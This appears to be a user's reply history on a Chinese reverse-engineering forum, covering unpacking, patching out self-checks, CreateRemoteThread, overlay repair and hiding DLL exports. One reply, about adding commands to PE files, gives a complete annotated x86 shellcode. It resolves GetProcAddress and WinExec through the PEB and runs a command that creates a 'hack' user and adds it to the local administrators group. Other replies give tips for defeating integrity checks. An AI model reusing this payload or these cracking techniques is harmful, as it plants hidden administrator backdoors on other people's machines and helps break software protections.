|
[求助]脱壳后如何找自校验.
0x4021BD开始,之后后面带有 je 00402552 这样的跳转的call自己挨个看吧,基本里面就是它要跳的你别让它跳,不要跳的你帮他跳就行了。 强体力活,注意保重身体。 另外,这什么软件阿,我鼠标有问题,连续运行了2下,不会是病毒吧...我好怕.... |
|
[下载]UnicodeText(20100812小幅更新)
顶一下,防止没人注意到。 |
|
一种CreateRemoteThread的另类用法?
lpStartAddress指向的地址就是目标进程中的函数的RVA,所以你在自己进程共调用CreateRemoteThread时,只要填好自己需要的lpStartAddress就行了。只要这个地址在目标进程中存在,windows才不会管这个函数是原来程序就有的还是你自己写进去的。 |
|
是否脱壳不干净?
不推荐用exescope,如果软件没被加过壳。或者能修复到没加过壳的样子,用它没什么关系。 出现错误,主要是你修改资源之后点保存的时候钩选了“允许修改文件大小”的选项。因为中文和英文之间的差别,英文翻译成中文之后,资源体积一般会变小。当然也可能是变大,比如你加了好多说明阿,或者其它什么的。这会造成你软件后面附加的其它数据载入内存时出现偏移不正确,尤其是你脱壳之后用ImportREC/OD_Dumper/Peid附加上去的输入表数据的偏移出现问题。 如果你保存时不点这个选项,那不会有问题,但十有八九不会保存成功。或者你可以脱壳之后不修复输入表,然后汉化之后再把输入表修复也许可以,没试验过。 推荐使用专业本地化软件,Delphi程序好像能支持本地化纯资源Dll的。这个我也没怎么用过,不清楚。详细汉化指导请移步至汉化新世纪....... |
|
[讨论]pe程序添加执行命令
60 pushad 55 push ebp 83EC 40 sub esp, 40 8BEC mov ebp, esp 55 push ebp 64:A1 30000000 mov eax, dword ptr fs:[30] 8B40 0C mov eax, dword ptr [eax+C] 8B70 1C mov esi, dword ptr [eax+1C] AD lods dword ptr [esi] 8B78 08 mov edi, dword ptr [eax+8] 8B47 3C mov eax, dword ptr [edi+3C] 8B5407 78 mov edx, dword ptr [edi+eax+78] 03D7 add edx, edi 8B4A 18 mov ecx, dword ptr [edx+18] 8B5A 20 mov ebx, dword ptr [edx+20] 03DF add ebx, edi @@: 49 dec ecx 8B348B mov esi, dword ptr [ebx+ecx*4] 03F7 add esi, edi B8 47657450 mov eax, 50746547 ; GetP 3906 cmp dword ptr [esi], eax 75 F1 jnz @B B8 726F6341 mov eax, 41636F72 ; rocA 3946 04 cmp dword ptr [esi+4], eax 75 E7 jnz @B 8B5A 24 mov ebx, dword ptr [edx+24] 03DF add ebx, edi 66:8B0C4B mov cx, word ptr [ebx+ecx*2] 8B5A 1C mov ebx, dword ptr [edx+1C] 03DF add ebx, edi 8B048B mov eax, dword ptr [ebx+ecx*4] 03C7 add eax, edi 8945 40 mov dword ptr [ebp+40], eax 68 78656300 push 636578 ; xec 68 57696E45 push 456E6957 ; WinE 54 push esp ; WinExec 57 push edi FF55 40 call dword ptr [ebp+40] ; GetProcAddress 8945 08 mov dword ptr [ebp+8], eax 6A 00 push 0 68 64640000 push 6464 ; dd 68 6B202F61 push 612F206B ; k /a 68 20686163 push 63616820 ; hac 68 746F7273 push 73726F74 ; tors 68 73747261 push 61727473 ; stra 68 6D696E69 push 696E696D ; mini 68 70206164 push 64612070 ; p ad 68 67726F75 push 756F7267 ; grou 68 6F63616C push 6C61636F ; ocal 68 6574206C push 6C207465 ; et l 68 6464266E push 6E266464 ; dd&n 68 6B202F61 push 612F206B ; k /a 68 20667563 push 63756620 ; fuc 68 6861636B push 6B636168 ; hack 68 73657220 push 20726573 ; ser 68 65742075 push 75207465 ; et u 68 2F63206E push 6E20632F ; /c n 68 436D6420 push 20646D43 ; Cmd 54 push esp ; Cmd /c ner user hack fuck /add&net localgroup administrators hack /add FF55 08 call dword ptr [ebp+8] ; WinExec 61 popad 这样应该会容易理解一些。 |
|
第一次脱壳 失败告终!郁闷!
文件结尾0x21长度的数据: 35 '5' 5个文件?没其他东西来比较。不确定 344D6178 '4MAX' 标记? 00C40B00 0xBC400 附加数据起始偏移 FC1A0100 0x11AFC 第二个附加文件相对于第一个附加文件的偏移,同时也是第一个附加文件的长度 59FE0700 0x7FE59 第三个附加文件相对于第二个附加文件的偏移,同时也是第二个附加文件的长度 00CA0A00 0xACA00 同上,不过这似乎是第四个文件的,第三个文件明显是一个ini,而第四个是一个exe E1000000 0xE1 同上,第三个文件 80060000 0x680 同上,第五个文件 6EB43201 0x132B46E 时间:20100206,把这个数当作一个10进制数换算成16进制,就是这个0x132B46E了。 所以如果你想修正附加数据的话,应该是把0xBC400改成脱壳之后的文件的镜像大小即可,然后把附加数据在贴到文件后面就行了。 理论上是这样就行了,夜深了,懒得测试。再说我很笨,只会玩山口山...... |
|
[求助]shellcode 問題?
masm32版,不会C.. PUSH MB_OK OR MB_ICONINFORMATION call @f db 'API TEST',0 @@: call @f db 'HELLO WORLD!',0 @@:push 0 call @f jmp @next @@:push MessageBox retn @Next: some more code |
|
[求助]载入一个DLL,有没有办法使GetProcAddress无法获取其中某个名字导出函数的地址?
清零导出表的相关数据就行了,或者把导出表捣乱一下也行。如果还想让某些程序能获得你的输出函数的话,那可以自己内联补丁掉GetProcAddress。判断调用来源之类的,然后自己把函数地址返回就行了。 |
|
[求助]一道数学题....
将圆和OA直线方程联立求解,得两个坐标,然后取O点和A点的坐标之间的值即为B |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值